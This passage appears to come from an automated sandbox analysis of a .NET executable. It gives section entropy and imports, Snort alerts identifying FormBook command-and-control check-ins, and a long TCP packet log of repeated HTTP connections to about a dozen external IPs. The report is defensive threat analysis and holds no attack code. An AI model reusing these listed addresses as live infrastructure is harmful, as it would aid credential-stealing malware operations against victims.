IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa4f94	0xa5000	3bfe6521eaaf36ce8403db72969bafda	False	0.952047821969697	data	7.968066969388496	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa8000	0x16b4	0x1800	432891cdc11b1dfbccff772b61a11647	False	0.8050130208333334	data	7.037788378482379	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xaa000	0xc	0x800	06acc8b2d6f8a370378fd25813a22048	False	0.015625	data	0.03037337037012526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xa80c8	0x129f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9418921753723516
RT_GROUP_ICON	0xa9378	0x14	data	1.05
RT_VERSION	0xa939c	0x312	data	0.43638676844783714

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/01/24-19:25:38.686378	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	64475	80	192.168.2.7	192.250.231.28
07/01/24-19:25:25.124461	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	64471	80	192.168.2.7	74.208.236.162
07/01/24-19:27:00.696487	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	64496	80	192.168.2.7	38.207.19.49
07/01/24-19:26:19.230746	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	64484	80	192.168.2.7	43.198.80.127
07/01/24-19:24:15.086308	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	64459	80	192.168.2.7	172.67.194.145
07/01/24-19:25:11.804732	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	64467	80	192.168.2.7	46.30.215.51
07/01/24-19:26:00.592496	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	64479	80	192.168.2.7	162.0.238.43
07/01/24-19:26:46.825321	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	64492	80	192.168.2.7	91.195.240.123
07/01/24-19:24:37.172413	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	64463	80	192.168.2.7	38.55.194.30
07/01/24-19:23:35.528269	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49712	80	192.168.2.7	217.160.0.31
07/01/24-19:26:33.240207	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	64488	80	192.168.2.7	45.130.41.249

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 19:23:35.520992041 CEST	49712	80	192.168.2.7	217.160.0.31
Jul 1, 2024 19:23:35.525859118 CEST	80	49712	217.160.0.31	192.168.2.7
Jul 1, 2024 19:23:35.525947094 CEST	49712	80	192.168.2.7	217.160.0.31
Jul 1, 2024 19:23:35.528269053 CEST	49712	80	192.168.2.7	217.160.0.31
Jul 1, 2024 19:23:35.534359932 CEST	80	49712	217.160.0.31	192.168.2.7
Jul 1, 2024 19:23:36.188384056 CEST	80	49712	217.160.0.31	192.168.2.7
Jul 1, 2024 19:23:36.188941002 CEST	80	49712	217.160.0.31	192.168.2.7
Jul 1, 2024 19:23:36.189007998 CEST	49712	80	192.168.2.7	217.160.0.31
Jul 1, 2024 19:23:36.191472054 CEST	49712	80	192.168.2.7	217.160.0.31
Jul 1, 2024 19:23:36.197282076 CEST	80	49712	217.160.0.31	192.168.2.7
Jul 1, 2024 19:24:07.457382917 CEST	64456	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:07.462654114 CEST	80	64456	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:07.462753057 CEST	64456	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:07.464421034 CEST	64456	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:07.475584984 CEST	80	64456	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:08.160142899 CEST	80	64456	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:08.160259008 CEST	80	64456	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:08.160316944 CEST	64456	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:08.966594934 CEST	64456	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:09.985390902 CEST	64457	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:10.021394014 CEST	80	64457	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:10.021486044 CEST	64457	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:10.023534060 CEST	64457	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:10.028964996 CEST	80	64457	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:10.762649059 CEST	80	64457	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:10.763577938 CEST	80	64457	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:10.763643980 CEST	64457	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:10.766004086 CEST	80	64457	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:10.766061068 CEST	64457	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:11.529133081 CEST	64457	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:12.547482967 CEST	64458	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:12.552558899 CEST	80	64458	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:12.552676916 CEST	64458	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:12.554569006 CEST	64458	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:12.559551001 CEST	80	64458	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:12.560333967 CEST	80	64458	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:13.251588106 CEST	80	64458	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:13.251941919 CEST	80	64458	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:13.252121925 CEST	64458	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:14.060456038 CEST	64458	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:15.079236031 CEST	64459	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:15.084331036 CEST	80	64459	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:15.084522009 CEST	64459	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:15.086308002 CEST	64459	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:15.091320038 CEST	80	64459	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:15.787378073 CEST	80	64459	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:15.787462950 CEST	80	64459	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:15.787591934 CEST	80	64459	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:15.787642956 CEST	64459	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:15.788394928 CEST	64459	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:15.791934967 CEST	64459	80	192.168.2.7	172.67.194.145
Jul 1, 2024 19:24:15.796886921 CEST	80	64459	172.67.194.145	192.168.2.7
Jul 1, 2024 19:24:29.461313009 CEST	64460	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:29.468151093 CEST	80	64460	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:29.470961094 CEST	64460	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:29.472742081 CEST	64460	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:29.479617119 CEST	80	64460	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:30.982315063 CEST	64460	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:31.034789085 CEST	80	64460	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:32.002028942 CEST	64461	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:32.007523060 CEST	80	64461	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:32.007632017 CEST	64461	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:32.010243893 CEST	64461	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:32.019553900 CEST	80	64461	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:33.513750076 CEST	64461	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:33.558654070 CEST	80	64461	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:34.531841040 CEST	64462	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:34.630631924 CEST	80	64462	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:34.634516001 CEST	64462	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:34.636476994 CEST	64462	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:34.641371965 CEST	80	64462	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:34.641544104 CEST	80	64462	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:36.138555050 CEST	64462	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:36.186701059 CEST	80	64462	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:37.160430908 CEST	64463	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:37.165349960 CEST	80	64463	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:37.168514967 CEST	64463	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:37.172413111 CEST	64463	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:37.177685022 CEST	80	64463	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:50.860143900 CEST	80	64460	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:50.860532999 CEST	64460	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:54.125679970 CEST	80	64461	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:54.125736952 CEST	64461	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:54.126128912 CEST	80	64461	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:54.126178980 CEST	64461	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:54.126626968 CEST	80	64461	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:54.126682043 CEST	64461	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:54.132226944 CEST	80	64461	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:54.132237911 CEST	80	64461	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:56.056518078 CEST	80	64462	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:56.056569099 CEST	64462	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:58.582581043 CEST	80	64463	38.55.194.30	192.168.2.7
Jul 1, 2024 19:24:58.583019972 CEST	64463	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:58.583889961 CEST	64463	80	192.168.2.7	38.55.194.30
Jul 1, 2024 19:24:58.588865995 CEST	80	64463	38.55.194.30	192.168.2.7
Jul 1, 2024 19:25:03.776302099 CEST	64464	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:03.781223059 CEST	80	64464	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:03.781305075 CEST	64464	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:03.784488916 CEST	64464	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:03.789437056 CEST	80	64464	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:04.413290977 CEST	80	64464	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:04.413851976 CEST	80	64464	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:04.420448065 CEST	64464	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:05.294903040 CEST	64464	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:06.320223093 CEST	64465	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:06.534404039 CEST	80	64465	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:06.538366079 CEST	64465	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:06.538366079 CEST	64465	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:06.545190096 CEST	80	64465	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:07.172175884 CEST	80	64465	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:07.172501087 CEST	80	64465	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:07.176574945 CEST	64465	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:08.045144081 CEST	64465	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:09.064511061 CEST	64466	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:09.069869041 CEST	80	64466	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:09.072560072 CEST	64466	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:09.076472044 CEST	64466	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:09.081309080 CEST	80	64466	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:09.081723928 CEST	80	64466	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:09.798964977 CEST	80	64466	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:09.799242973 CEST	80	64466	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:09.799290895 CEST	64466	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:10.576450109 CEST	64466	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:11.595480919 CEST	64467	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:11.802278996 CEST	80	64467	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:11.802381039 CEST	64467	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:11.804732084 CEST	64467	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:11.809669018 CEST	80	64467	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:12.455271006 CEST	80	64467	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:12.457247019 CEST	80	64467	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:12.460279942 CEST	64467	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:12.460279942 CEST	64467	80	192.168.2.7	46.30.215.51
Jul 1, 2024 19:25:12.465734005 CEST	80	64467	46.30.215.51	192.168.2.7
Jul 1, 2024 19:25:17.491786003 CEST	64468	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:17.496757984 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:17.496841908 CEST	64468	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:17.499043941 CEST	64468	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:17.504302979 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313036919 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313054085 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313065052 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313076973 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313119888 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313133001 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313134909 CEST	64468	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:18.313150883 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313163042 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313179016 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313188076 CEST	64468	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:18.313209057 CEST	64468	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:18.313215017 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.313276052 CEST	64468	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:18.320240974 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.320255041 CEST	80	64468	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:18.326176882 CEST	64468	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:19.013739109 CEST	64468	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:20.032980919 CEST	64469	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:20.038096905 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.038186073 CEST	64469	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:20.040369034 CEST	64469	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:20.046020985 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869039059 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869061947 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869074106 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869086981 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869098902 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869111061 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869122982 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869134903 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869128942 CEST	64469	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:20.869148016 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869163036 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.869179964 CEST	64469	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:20.869179964 CEST	64469	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:20.869227886 CEST	64469	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:20.873969078 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.873984098 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.873997927 CEST	80	64469	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:20.874133110 CEST	64469	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:21.544991016 CEST	64469	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:22.566678047 CEST	64470	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:22.571872950 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:22.576325893 CEST	64470	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:22.578505993 CEST	64470	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:22.583334923 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:22.583857059 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.369860888 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.369887114 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.369898081 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.369946957 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.369959116 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.369968891 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.369982004 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.370003939 CEST	64470	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:23.370003939 CEST	64470	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:23.370003939 CEST	64470	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:23.370024920 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.370038986 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.370055914 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.370289087 CEST	64470	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:23.370503902 CEST	80	64470	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:23.370631933 CEST	64470	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:24.092614889 CEST	64470	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:25.112466097 CEST	64471	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:25.118097067 CEST	80	64471	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:25.120517969 CEST	64471	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:25.124460936 CEST	64471	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:25.129381895 CEST	80	64471	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:25.770205021 CEST	80	64471	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:25.770901918 CEST	80	64471	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:25.770944118 CEST	64471	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:25.774816036 CEST	64471	80	192.168.2.7	74.208.236.162
Jul 1, 2024 19:25:25.779674053 CEST	80	64471	74.208.236.162	192.168.2.7
Jul 1, 2024 19:25:31.080476046 CEST	64472	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:31.085455894 CEST	80	64472	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:31.085582972 CEST	64472	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:31.088466883 CEST	64472	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:31.093449116 CEST	80	64472	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:31.592351913 CEST	80	64472	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:31.592395067 CEST	80	64472	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:31.592408895 CEST	80	64472	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:31.592444897 CEST	64472	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:31.592478037 CEST	64472	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:32.591902971 CEST	64472	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:33.610593081 CEST	64473	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:33.616755962 CEST	80	64473	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:33.616851091 CEST	64473	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:33.618639946 CEST	64473	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:33.623528004 CEST	80	64473	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:34.131337881 CEST	80	64473	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:34.131373882 CEST	80	64473	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:34.131458998 CEST	64473	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:34.133872986 CEST	80	64473	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:34.133948088 CEST	64473	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:35.123136997 CEST	64473	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:36.142518997 CEST	64474	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:36.147424936 CEST	80	64474	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:36.147535086 CEST	64474	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:36.149451017 CEST	64474	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:36.154526949 CEST	80	64474	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:36.154539108 CEST	80	64474	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:36.662798882 CEST	80	64474	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:36.662818909 CEST	80	64474	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:36.662830114 CEST	80	64474	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:36.662934065 CEST	64474	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:36.662934065 CEST	64474	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:37.654542923 CEST	64474	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:38.676479101 CEST	64475	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:38.681386948 CEST	80	64475	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:38.686378002 CEST	64475	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:38.686378002 CEST	64475	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:38.691335917 CEST	80	64475	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:39.206994057 CEST	80	64475	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:39.207015991 CEST	80	64475	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:39.207031012 CEST	80	64475	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:39.208475113 CEST	64475	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:39.212465048 CEST	64475	80	192.168.2.7	192.250.231.28
Jul 1, 2024 19:25:39.217189074 CEST	80	64475	192.250.231.28	192.168.2.7
Jul 1, 2024 19:25:52.982268095 CEST	64476	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:52.987091064 CEST	80	64476	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:52.987186909 CEST	64476	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:52.990557909 CEST	64476	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:52.995378017 CEST	80	64476	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:53.602468014 CEST	80	64476	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:53.602535963 CEST	80	64476	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:53.602583885 CEST	64476	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:54.498163939 CEST	64476	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:55.517369986 CEST	64477	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:55.522252083 CEST	80	64477	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:55.522452116 CEST	64477	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:55.524468899 CEST	64477	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:55.529766083 CEST	80	64477	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:56.120687962 CEST	80	64477	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:56.120846033 CEST	80	64477	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:56.120893955 CEST	64477	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:57.032500982 CEST	64477	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:58.049711943 CEST	64478	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:58.056099892 CEST	80	64478	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:58.056183100 CEST	64478	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:58.058517933 CEST	64478	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:58.065628052 CEST	80	64478	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:58.067008972 CEST	80	64478	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:58.759198904 CEST	80	64478	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:58.759255886 CEST	80	64478	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:58.759265900 CEST	80	64478	162.0.238.43	192.168.2.7
Jul 1, 2024 19:25:58.759423971 CEST	64478	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:25:59.560895920 CEST	64478	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:26:00.580503941 CEST	64479	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:26:00.585467100 CEST	80	64479	162.0.238.43	192.168.2.7
Jul 1, 2024 19:26:00.588630915 CEST	64479	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:26:00.592495918 CEST	64479	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:26:00.597304106 CEST	80	64479	162.0.238.43	192.168.2.7
Jul 1, 2024 19:26:01.205409050 CEST	80	64479	162.0.238.43	192.168.2.7
Jul 1, 2024 19:26:01.205869913 CEST	80	64479	162.0.238.43	192.168.2.7
Jul 1, 2024 19:26:01.208663940 CEST	64479	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:26:01.212493896 CEST	64479	80	192.168.2.7	162.0.238.43
Jul 1, 2024 19:26:01.217370987 CEST	80	64479	162.0.238.43	192.168.2.7
